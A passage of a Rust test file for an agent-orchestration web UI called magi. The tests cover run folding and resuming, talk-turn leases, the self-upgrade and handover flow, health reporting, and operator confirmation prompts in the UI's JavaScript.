13991 }
13992
13993 #[tokio::test]
13994 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13995 let fx = Fixture::start().await;
13996 let runs = fx.runs();
13997 let id = "20260901-000000-live";
13998 write_run(&runs, id, RunStatus::Implementing);
13999
14000 let mut beat = crate::daemon::Status::new();
14001 beat.current = vec![crate::daemon::Current {
14002 task: "20260901-000000-task".to_owned(),
14003 run: id.to_owned(),
14004 }];
14005 beat.updated_at = jiff::Timestamp::now();
14006 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14007 .expect("publish a heartbeat");
14008
14009 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14010 assert_eq!(res.status, 409);
14011 assert!(
14012 res.json()["error"]
14013 .as_str()
14014 .unwrap()
14015 .contains("live daemon"),
14016 "folding under a running agent would pull its worktree away"
14017 );
14018 }
14019
14020 #[tokio::test]
14021 async fn fold_merged_requires_a_pr_url() {
14022 let fx = Fixture::start().await;
14023 let runs = fx.runs();
14024 let id = "20260901-000000-nourl";
14025 write_run(&runs, id, RunStatus::Blocked);
14026
14027 let res = fx
14028 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14029 .await;
14030 assert_eq!(res.status, 400, "{}", res.body);
14031
14032 let blank = fx
14033 .post(
14034 &format!("/api/runs/{id}/fold-merged"),
14035 Some(r#"{"pr_url":" "}"#),
14036 )
14037 .await;
14038 assert_eq!(blank.status, 400, "{}", blank.body);
14039 }
14040
14041 #[tokio::test]
14042 async fn fold_merged_is_404_for_an_unknown_run() {
14043 let fx = Fixture::start().await;
14044 let res = fx
14045 .post(
14046 "/api/runs/nosuchrun/fold-merged",
14047 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14048 )
14049 .await;
14050 assert_eq!(res.status, 404, "{}", res.body);
14051 }
14052
14053 #[tokio::test]
14054 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14055 let fx = Fixture::start().await;
14056 let runs = fx.runs();
14057 let id = "20260901-000000-livemerge";
14058 write_run(&runs, id, RunStatus::Blocked);
14059
14060 let mut beat = crate::daemon::Status::new();
14061 beat.current = vec![crate::daemon::Current {
14062 task: "20260901-000000-task".to_owned(),
14063 run: id.to_owned(),
14064 }];
14065 beat.updated_at = jiff::Timestamp::now();
14066 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14067 .expect("publish a heartbeat");
14068
14069 let res = fx
14070 .post(
14071 &format!("/api/runs/{id}/fold-merged"),
14072 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14073 )
14074 .await;
14075 assert_eq!(res.status, 409, "{}", res.body);
14076 assert!(
14077 res.json()["error"]
14078 .as_str()
14079 .unwrap()
14080 .contains("live daemon"),
14081 "correcting a run's merge underneath a running agent would race \
14082 whatever it is doing to the same `status`/`merge` fields"
14083 );
14084 }
14085
14086 #[tokio::test]
14091 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14092 let fx = Fixture::start().await;
14093 let runs = fx.runs();
14094 let id = "20260901-000000-unconfirmed";
14095 write_run(&runs, id, RunStatus::Blocked);
14096
14097 let res = fx
14098 .post(
14099 &format!("/api/runs/{id}/fold-merged"),
14100 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14101 )
14102 .await;
14103 assert_eq!(res.status, 400, "{}", res.body);
14104 assert_eq!(
14105 read_run(&runs, id).unwrap().status,
14106 RunStatus::Blocked,
14107 "a pull request that could not be confirmed merged must leave \
14108 the run exactly where it was"
14109 );
14110 }
14111
14112 #[tokio::test]
14113 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14114 let fx = Fixture::start().await;
14115 let runs = fx.runs();
14116
14117 for (status, word) in [
14123 (RunStatus::Merged, "merged"),
14124 (RunStatus::Ready, "ready"),
14125 (RunStatus::Failed, "failed"),
14126 ] {
14127 let id = format!("20260901-000000-{}", &word[..4]);
14128 write_run(&runs, &id, status);
14129 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14130 assert_eq!(res.status, 409, "{word} must not be resumable");
14131 let err = res.json()["error"].as_str().unwrap().to_owned();
14132 assert!(err.contains(word), "the refusal names the status: {err}");
14133 }
14134
14135 let mid = "20260901-000000-midf";
14140 write_run(&runs, mid, RunStatus::Reviewing);
14141 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14142 assert_eq!(res.status, 202, "an interrupted run is resumable");
14143 }
14144
14145 #[tokio::test]
14146 async fn resume_is_refused_while_the_loop_is_running() {
14147 let fx = Fixture::start().await;
14148 let runs = fx.runs();
14149 let stalled = "20260901-000000-stal";
14150 write_run(&runs, stalled, RunStatus::Stalled);
14151
14152 let mut beat = crate::daemon::Status::new();
14156 beat.current = vec![crate::daemon::Current {
14157 task: "20260901-000000-task".to_owned(),
14158 run: "20260901-000000-othr".to_owned(),
14159 }];
14160 beat.updated_at = jiff::Timestamp::now();
14161 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14162 .expect("publish a heartbeat");
14163
14164 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14165 assert_eq!(res.status, 409);
14166 let err = res.json()["error"].as_str().unwrap().to_owned();
14167 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14168 assert!(err.contains("stop it first"), "{err}");
14169 }
14170
14171 #[test]
14172 fn a_run_cannot_be_resumed_twice_at_once() {
14173 let home = TempDir::new().expect("temp home");
14174 let ui = Ui::new(
14175 Queue::at(home.path().join("queue")),
14176 Questions::at(home.path().join("questions")),
14177 Talks::at(home.path().join("talks")),
14178 home.path().join("runs"),
14179 home.path().to_path_buf(),
14180 PathBuf::from("/repo"),
14181 )
14182 .with_worktrees_root(home.path().join("wt"));
14183 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14184 let again = ui.begin_resume("20260901-000000-once");
14185 assert!(again.is_err(), "a second tap must not start a second graph");
14186 drop(first);
14187 assert!(
14188 ui.begin_resume("20260901-000000-once").is_ok(),
14189 "and the claim is released when the attempt ends"
14190 );
14191 }
14192
14193 #[test]
14194 fn talk_thinking_tracks_only_its_held_turn_claim() {
14195 let home = TempDir::new().expect("temp home");
14196 let ui = Ui::new(
14197 Queue::at(home.path().join("queue")),
14198 Questions::at(home.path().join("questions")),
14199 Talks::at(home.path().join("talks")),
14200 home.path().join("runs"),
14201 home.path().to_path_buf(),
14202 PathBuf::from("/repo"),
14203 )
14204 .with_worktrees_root(home.path().join("wt"));
14205 let id = "20260901-000000-once";
14206
14207 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14208 let turn = ui.begin_talk_turn(id).expect("claim turn");
14209 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14210 assert!(
14211 !ui.is_thinking("20260901-000000-other"),
14212 "one talk's turn does not make another talk busy"
14213 );
14214 drop(turn);
14215 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14216 }
14217
14218 #[test]
14219 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14220 let home = TempDir::new().expect("temp home");
14221 let talks = Talks::at(home.path().join("talks"));
14222 let ui = Ui::new(
14223 Queue::at(home.path().join("queue")),
14224 Questions::at(home.path().join("questions")),
14225 talks.clone(),
14226 home.path().join("runs"),
14227 home.path().to_path_buf(),
14228 PathBuf::from("/repo"),
14229 )
14230 .with_worktrees_root(home.path().join("wt"));
14231 let id = "20260901-000000-cross";
14232
14233 let other = Talks::at(home.path().join("talks"))
14234 .claim_turn(id)
14235 .expect("claim")
14236 .expect("the other process wins");
14237 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14238 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14239 assert!(
14240 matches!(
14241 ui.begin_talk_turn_unless_pending(id).expect("start"),
14242 TalkTurnStart::Foreign
14243 ),
14244 "a foreign holder is refused, not queued behind"
14245 );
14246 assert!(
14247 !ui.talk_turns.lock().unwrap().live.contains(id),
14248 "a refused claim leaves no in-process entry behind"
14249 );
14250 drop(other);
14251 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14252 assert!(talks.turn_held(id), "the web turn holds the lease");
14253 drop(turn);
14254 assert!(
14255 !talks.turn_held(id),
14256 "dropping the guard releases the lease"
14257 );
14258 }
14259
14260 #[tokio::test]
14261 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14262 let fx = Fixture::start().await;
14263 let mut beat = crate::daemon::Status::new();
14267 beat.pid = 4321;
14268 beat.updated_at = jiff::Timestamp::now();
14269 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14270 .expect("publish a heartbeat");
14271
14272 let res = fx.post("/api/upgrade", None).await;
14273 assert_eq!(res.status, 409);
14274 let err = res.json()["error"].as_str().unwrap().to_owned();
14275 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14276 assert!(err.contains("old one against the same queue"), "{err}");
14277 }
14278
14279 #[test]
14286 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14287 assert!(!should_spawn_recheck(&crate::config::Update {
14288 mode: UpdateMode::Off,
14289 interval: None,
14290 }));
14291
14292 unsafe {
14295 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14296 }
14297 let killed = should_spawn_recheck(&crate::config::Update {
14298 mode: UpdateMode::Notify,
14299 interval: None,
14300 });
14301 unsafe {
14302 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14303 }
14304 assert!(
14305 !killed,
14306 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14307 one-time startup check"
14308 );
14309
14310 assert!(should_spawn_recheck(&crate::config::Update {
14311 mode: UpdateMode::Notify,
14312 interval: None,
14313 }));
14314 }
14315
14316 #[test]
14322 fn recheck_poll_period_tracks_a_short_configured_interval() {
14323 let short = crate::config::Update {
14324 mode: UpdateMode::Notify,
14325 interval: Some("1m".to_owned()),
14326 };
14327 let period = recheck_poll_period(&short);
14328 assert!(
14329 period <= Duration::from_secs(30),
14330 "a one-minute interval must wake the task far sooner than the \
14331 default ceiling, or the deck would not notice within the \
14332 interval the operator configured: got {period:?}"
14333 );
14334
14335 let default = crate::config::Update {
14336 mode: UpdateMode::Notify,
14337 interval: None,
14338 };
14339 assert_eq!(
14340 recheck_poll_period(&default),
14341 UPDATE_RECHECK_POLL_MAX,
14342 "the default day-long interval should poll at the (capped) \
14343 ceiling rather than needlessly often"
14344 );
14345 }
14346
14347 #[test]
14355 fn recheck_skips_the_network_before_the_interval_elapses() {
14356 let dir = TempDir::new().expect("temp dir");
14357 let path = dir.path().join("state.json");
14358 let state = kaishin::UpdateCheckState {
14359 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14360 last_known_latest: None,
14361 last_known_url: None,
14362 };
14363 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14364
14365 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14366 assert!(
14367 !update_recheck_due(&checker, None),
14368 "a check made moments ago must not be repeated before the \
14369 configured interval elapses"
14370 );
14371 }
14372
14373 #[test]
14379 fn recheck_defers_to_an_upgrade_already_in_flight() {
14380 let dir = TempDir::new().expect("temp dir");
14381 let path = dir.path().join("state.json");
14382 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14383 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14384
14385 assert!(
14386 !update_recheck_due(&checker, Some(&progress)),
14387 "a recheck must not run while an upgrade this deck started is \
14388 still moving"
14389 );
14390 }
14391
14392 #[tokio::test]
14393 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14394 unsafe {
14406 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14407 }
14408 let fx = Fixture::start().await;
14409 let res = fx.post("/api/upgrade", None).await;
14410 unsafe {
14411 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14412 }
14413 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14414 let body = res.json();
14415 assert!(body["to"].is_null(), "there was no release to move to");
14416 assert!(body["parked"].is_null(), "and nothing was parked");
14417 assert!(
14418 body["detail"]
14419 .as_str()
14420 .unwrap()
14421 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14422 "{body:?}"
14423 );
14424 }
14425
14426 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14427 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14428 p.stage = stage;
14429 p
14430 }
14431
14432 #[test]
14433 fn busy_stages_match_the_ui_set() {
14434 use crate::updater::Stage;
14435 assert!(APP_JS.contains(
14436 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14437 ));
14438 for s in [
14439 Stage::Downloading,
14440 Stage::Replaced,
14441 Stage::Parking,
14442 Stage::Restarting,
14443 ] {
14444 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14445 }
14446 for s in [Stage::Done, Stage::Failed] {
14447 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14448 }
14449 assert!(upgrade_in_motion(None).is_none());
14450 }
14451
14452 #[tokio::test]
14453 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14454 use crate::updater::Stage;
14455 for stage in [
14456 Stage::Downloading,
14457 Stage::Replaced,
14458 Stage::Parking,
14459 Stage::Restarting,
14460 ] {
14461 let fx = Fixture::start().await;
14462 let seeded = seeded_progress(stage);
14463 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14464 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14465 .expect("read");
14466
14467 let res = fx.post("/api/upgrade", None).await;
14468 assert_eq!(res.status, 409, "{stage:?}");
14469 let err = res.json()["error"].as_str().unwrap().to_owned();
14470 assert!(err.contains("already in progress"), "{err}");
14471 assert!(err.contains(stage.as_str()), "{err}");
14472
14473 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14474 .expect("read");
14475 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14476 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14477 .unwrap_or_default();
14478 assert!(!log.contains("signalling HANDOVER"), "{log}");
14479 }
14480 }
14481
14482 #[tokio::test]
14483 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14484 use crate::updater::Stage;
14485 let repo = TempDir::new().expect("repo dir");
14486 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14487 .expect("write magi.toml");
14488 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14489 for stage in [Stage::Done, Stage::Failed] {
14490 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14491 let res = fx.post("/api/upgrade", None).await;
14492 assert_eq!(res.status, 200, "{stage:?}");
14493 }
14494 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14496 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14497 }
14498
14499 #[tokio::test]
14500 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14501 let repo = TempDir::new().expect("repo dir");
14517 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14518 .expect("write magi.toml");
14519 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14520
14521 let res = fx.post("/api/upgrade", None).await;
14527 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14528 let body = res.json();
14529 assert!(body["to"].is_null(), "there was no release to move to");
14530 assert!(body["parked"].is_null(), "and nothing was parked");
14531 assert!(
14532 body["detail"]
14533 .as_str()
14534 .unwrap()
14535 .contains("nothing restarted"),
14536 "{body:?}"
14537 );
14538 }
14539
14540 #[tokio::test]
14541 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
14542 let repo = TempDir::new().expect("repo dir");
14547 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14548 .expect("write magi.toml");
14549 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14550
14551 let health = fx.get("/api/health").await.json();
14552 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
14553 assert_eq!(
14554 health["update"]["available"], false,
14555 "checking is off, which reads as \"unknown\", not \"none\""
14556 );
14557 assert!(health["update"]["to"].is_null());
14558 assert!(
14559 health["upgrade"].is_null(),
14560 "nothing has ever asked this deck to upgrade"
14561 );
14562 }
14563
14564 #[tokio::test]
14565 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
14566 let fx = Fixture::start().await;
14567 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
14568
14569 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14570 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14571 progress.advance(crate::updater::Stage::Parking);
14572 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14573
14574 let health = fx.get("/api/health").await.json();
14575 assert_eq!(health["upgrade"]["stage"], "parking");
14576 assert_eq!(health["upgrade"]["from"], "0.5.1");
14577 assert_eq!(health["upgrade"]["to"], "0.5.2");
14578 let waiting_on = health["upgrade"]["waiting_on"]
14579 .as_str()
14580 .expect("waiting_on is set while parking a known run");
14581 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14582 assert!(waiting_on.contains("implementing"), "{waiting_on}");
14583 }
14584
14585 #[tokio::test]
14586 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
14587 let fx = Fixture::start().await;
14588 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14589 progress.advance(crate::updater::Stage::Done);
14590 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14591
14592 let health = fx.get("/api/health").await.json();
14593 assert_eq!(health["upgrade"]["stage"], "done");
14594 assert!(
14595 health["upgrade"]["waiting_on"].is_null(),
14596 "nothing to wait on once it is done"
14597 );
14598 }
14599
14600 #[tokio::test]
14601 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14602 let home = TempDir::new().expect("temp home");
14603 let runs = home.path().join("runs");
14604 std::fs::create_dir_all(&runs).expect("runs dir");
14605 let ui = Ui::new(
14606 Queue::at(home.path().join("queue")),
14607 Questions::at(home.path().join("questions")),
14608 Talks::at(home.path().join("talks")),
14609 runs,
14610 home.path().to_path_buf(),
14611 PathBuf::from("/repo/magi"),
14612 )
14613 .with_launch(launch_idle);
14614 let looping = ui.looping();
14615 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14616 .await
14617 .expect("bind loopback");
14618 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14619
14620 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14621 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14622
14623 hand_over(home.path(), &looping, served, |_| Ok(1))
14624 .await
14625 .expect("hand over");
14626
14627 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14628 assert_eq!(
14629 after.stage,
14630 crate::updater::Stage::Restarting,
14631 "hand_over owns the record through parking and up to restarting; \
14632 the successor is what finishes it"
14633 );
14634 }
14635
14636 #[tokio::test]
14639 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14640 for fail in [false, true] {
14641 let home = TempDir::new().expect("temp home");
14642 let ui = idle_ui(&home);
14643 let looping = ui.looping();
14644 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14645 .await
14646 .expect("bind loopback");
14647 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14648 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14649 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14650
14651 let calls = std::sync::atomic::AtomicUsize::new(0);
14652 let outcome = hand_over(home.path(), &looping, served, |_| {
14653 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14654 if fail {
14655 anyhow::bail!("no exec")
14656 } else {
14657 Ok(4242)
14658 }
14659 })
14660 .await;
14661 assert_eq!(outcome.is_err(), fail);
14662 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14663
14664 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14665 .expect("upgrade.log is written under the home");
14666 for step in [
14667 "entered",
14668 "finish_loop",
14669 "listener released",
14670 "starting the successor",
14671 ] {
14672 assert!(log.contains(step), "missing `{step}` in:\n{log}");
14673 }
14674 assert!(
14675 log.contains(if fail { "did not start" } else { "pid 4242" }),
14676 "{log}"
14677 );
14678 }
14679 }
14680
14681 #[tokio::test]
14684 async fn the_handover_signal_wakes_one_waiter_once() {
14685 let signal = Notify::new();
14686 signal.notify_one();
14688 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14689 .await
14690 .expect("an early signal is still seen");
14691 assert!(
14693 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14694 .await
14695 .is_err(),
14696 "a consumed signal must not wake a second time"
14697 );
14698 let signal = std::sync::Arc::new(signal);
14700 let waiter = tokio::spawn({
14701 let signal = std::sync::Arc::clone(&signal);
14702 async move { wait_for_handover(&signal).await }
14703 });
14704 tokio::time::sleep(Duration::from_millis(20)).await;
14705 assert!(!waiter.is_finished(), "nothing was signalled yet");
14706 signal.notify_one();
14707 tokio::time::timeout(Duration::from_secs(5), waiter)
14708 .await
14709 .expect("a late signal wakes the waiter")
14710 .expect("join");
14711 }
14712
14713 #[tokio::test]
14714 async fn health_says_how_long_a_handover_has_been_stuck() {
14715 let fx = Fixture::start().await;
14716 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14717 progress.advance(crate::updater::Stage::Replaced);
14718 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14719 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14720
14721 let health = fx.get("/api/health").await.json();
14722 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14723 assert!(stuck >= 600, "{stuck}");
14724 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
14725 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14726 }
14727
14728 #[tokio::test]
14729 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
14730 let home = tempfile::tempdir().expect("temp home");
14731 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14732 progress.advance(crate::updater::Stage::Parking);
14733 crate::updater::write_progress(home.path(), &progress).expect("seed");
14734 let mut again = progress.clone();
14736 again.advance(crate::updater::Stage::Replaced);
14737 crate::updater::write_progress(home.path(), &again).expect("replaced");
14738 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14739 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
14740 let after = crate::updater::read_progress(home.path()).expect("record");
14741 assert_eq!(after.stage, crate::updater::Stage::Parking);
14742 }
14743
14744 #[tokio::test]
14745 async fn health_does_not_call_a_live_parking_wait_stuck() {
14746 let fx = Fixture::start().await;
14747 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14748 progress.parked_run = Some("20260905-000000-cd51".to_owned());
14749 progress.advance(crate::updater::Stage::Parking);
14750 let hours = Duration::from_secs(3 * 3600);
14751 progress.started_at = Timestamp::now() - hours;
14752 progress.updated_at = Timestamp::now() - hours;
14753 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14754 let _lease = crate::updater::LeaseGuard::enter(
14755 fx.home.path(),
14756 Some("20260905-000000-cd51".to_owned()),
14757 );
14758
14759 let health = fx.get("/api/health").await.json();
14760 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
14761 assert!(health["upgrade"]["stuck_kind"].is_null());
14762 assert_eq!(health["upgrade"]["handover_alive"], true);
14763 let waiting_on = health["upgrade"]["waiting_on"]
14764 .as_str()
14765 .expect("waiting_on");
14766 assert!(waiting_on.contains("cd51"), "{waiting_on}");
14767 }
14768
14769 fn idle_ui(home: &TempDir) -> Ui {
14770 let runs = home.path().join("runs");
14771 std::fs::create_dir_all(&runs).expect("runs dir");
14772 Ui::new(
14773 Queue::at(home.path().join("queue")),
14774 Questions::at(home.path().join("questions")),
14775 Talks::at(home.path().join("talks")),
14776 runs,
14777 home.path().to_path_buf(),
14778 PathBuf::from("/repo/magi"),
14779 )
14780 .with_launch(launch_idle)
14781 }
14782
14783 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14785 let looping = ui.looping();
14786 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14787 .await
14788 .expect("bind loopback");
14789 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14790 let told = std::sync::Mutex::new(None);
14791 hand_over(home.path(), &looping, served, |resume| {
14792 *told.lock().unwrap() = Some(resume);
14793 Ok(1)
14794 })
14795 .await
14796 .expect("hand over");
14797 told.into_inner().unwrap().expect("successor was started")
14798 }
14799
14800 #[tokio::test]
14801 async fn a_running_loop_is_resumed_by_the_successor() {
14802 let home = TempDir::new().expect("temp home");
14803 let ui = idle_ui(&home);
14804 ui.start_loop(None).expect("start");
14805 ui.park_for_upgrade().expect("park");
14806 for _ in 0..500 {
14808 if !ui.loop_view(None).running {
14809 break;
14810 }
14811 tokio::time::sleep(Duration::from_millis(2)).await;
14812 }
14813 assert!(handed_over(&home, ui).await, "a running loop must resume");
14814
14815 let successor = idle_ui(&home);
14816 assert!(!successor.loop_view(None).running);
14817 assert!(successor.resume_after_handover(true));
14818 assert!(successor.loop_view(None).running);
14819 successor.stop_loop(None, false).expect("stop");
14820 }
14821
14822 #[tokio::test]
14823 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14824 let home = TempDir::new().expect("temp home");
14825 let ui = idle_ui(&home);
14826 ui.start_loop(None).expect("start");
14827 ui.park_for_upgrade().expect("first park");
14828 ui.park_for_upgrade().expect("second park");
14829 assert!(handed_over(&home, ui).await);
14830 }
14831
14832 #[tokio::test]
14833 async fn a_stop_during_the_handover_wait_is_honoured() {
14834 let home = TempDir::new().expect("temp home");
14835 let ui = idle_ui(&home);
14836 ui.start_loop(None).expect("start");
14837 ui.park_for_upgrade().expect("park");
14838 ui.stop_loop(None, false).expect("stop");
14839 assert!(!handed_over(&home, ui).await);
14840 }
14841
14842 #[tokio::test]
14843 async fn an_idle_loop_stays_stopped_across_the_handover() {
14844 let home = TempDir::new().expect("temp home");
14845 let ui = idle_ui(&home);
14846 ui.park_for_upgrade().expect("park");
14847 assert!(!handed_over(&home, ui).await);
14848
14849 let successor = idle_ui(&home);
14850 assert!(!successor.resume_after_handover(false));
14851 assert!(!successor.loop_view(None).running);
14852 }
14853
14854 #[tokio::test]
14855 async fn a_loop_the_operator_stopped_is_not_resumed() {
14856 let home = TempDir::new().expect("temp home");
14857 let ui = idle_ui(&home);
14858 ui.start_loop(None).expect("start");
14859 ui.stop_loop(None, false).expect("stop");
14860 ui.park_for_upgrade().expect("park");
14861 assert!(!handed_over(&home, ui).await);
14862 }
14863
14864 #[test]
14865 fn only_an_explicit_one_requests_a_resume() {
14866 assert!(!resume_requested(None));
14867 assert!(!resume_requested(Some("0".into())));
14868 assert!(!resume_requested(Some("".into())));
14869 assert!(resume_requested(Some("1".into())));
14870 }
14871
14872 #[test]
14873 fn the_upgrade_button_arms_before_it_restarts_anything() {
14874 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14877 assert!(APP_JS.contains("Replace the binary and restart?"));
14878 assert!(APP_JS.contains("function confirmed("));
14879 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14884 assert!(
14888 APP_JS.contains("Parking, then restarting"),
14889 "the button says what it is waiting for"
14890 );
14891 assert!(APP_JS.contains("if (!out.to)"));
14894 }
14895
14896 #[test]
14897 fn stopping_the_loop_arms_but_starting_does_not() {
14898 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14901 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14902 assert!(APP_JS.contains("confirmed(button, question)"));
14903 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14906 assert!(APP_JS.contains("const label = btn.textContent;"));
14907 assert!(!APP_JS.contains("Neither direction is guarded"));
14908 }
14909
14910 #[test]
14911 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14912 assert!(
14913 APP_JS.contains("state.health.version"),
14914 "the operator wants to know what is running even with nothing newer"
14915 );
14916 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14917 }
14918
14919 #[test]
14920 fn the_upgrade_button_names_its_destination() {
14921 assert!(
14922 APP_JS.contains("`Update to ${update.to}`"),
14923 "pressing the button should not be a surprise about what it moves to"
14924 );
14925 }
14926
14927 #[test]
14928 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14929 for stage in ["downloading", "replaced", "parking", "restarting"] {
14930 assert!(
14931 APP_JS.contains(&format!("\"{stage}\"")),
14932 "the phone must be able to tell {stage} apart from the others"
14933 );
14934 }
14935 assert!(APP_JS.contains(".waiting_on"));
14936 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14941 assert!(APP_JS.contains("reconnects on its own"));
14942 }
14943
14944 #[test]
14945 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14946 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14955 ..APP_JS.find("function upgrade(").expect("upgrade")];
14956 assert!(
14957 !body.contains(
14958 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14959 ),
14960 "a failed upgrade must not take the whole strip over the way it used to"
14961 );
14962 assert!(
